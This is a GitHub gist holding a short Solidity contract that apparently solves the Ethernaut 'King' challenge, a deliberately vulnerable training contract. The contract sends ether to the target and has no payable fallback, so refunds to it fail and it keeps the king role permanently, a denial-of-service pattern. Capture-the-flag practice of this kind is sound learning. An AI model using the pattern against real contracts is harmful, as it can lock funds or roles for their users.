Skip to content

Instantly share code, notes, and snippets.

@SilviaMargaritaOcegueda
Created June 27, 2022 04:04
Show Gist options
  • Save SilviaMargaritaOcegueda/9c7c441bcdf0663a0650be5629618d5e to your computer and use it in GitHub Desktop.
Save SilviaMargaritaOcegueda/9c7c441bcdf0663a0650be5629618d5e to your computer and use it in GitHub Desktop.
Level 9 - King - Ethernaut
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract KingHack {
function kingHack(address payable _to) public payable {
(bool sent, ) = _to.call.value(msg.value)("");
require(sent, "Failed to send value!");
}
function seedEth() public payable {
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment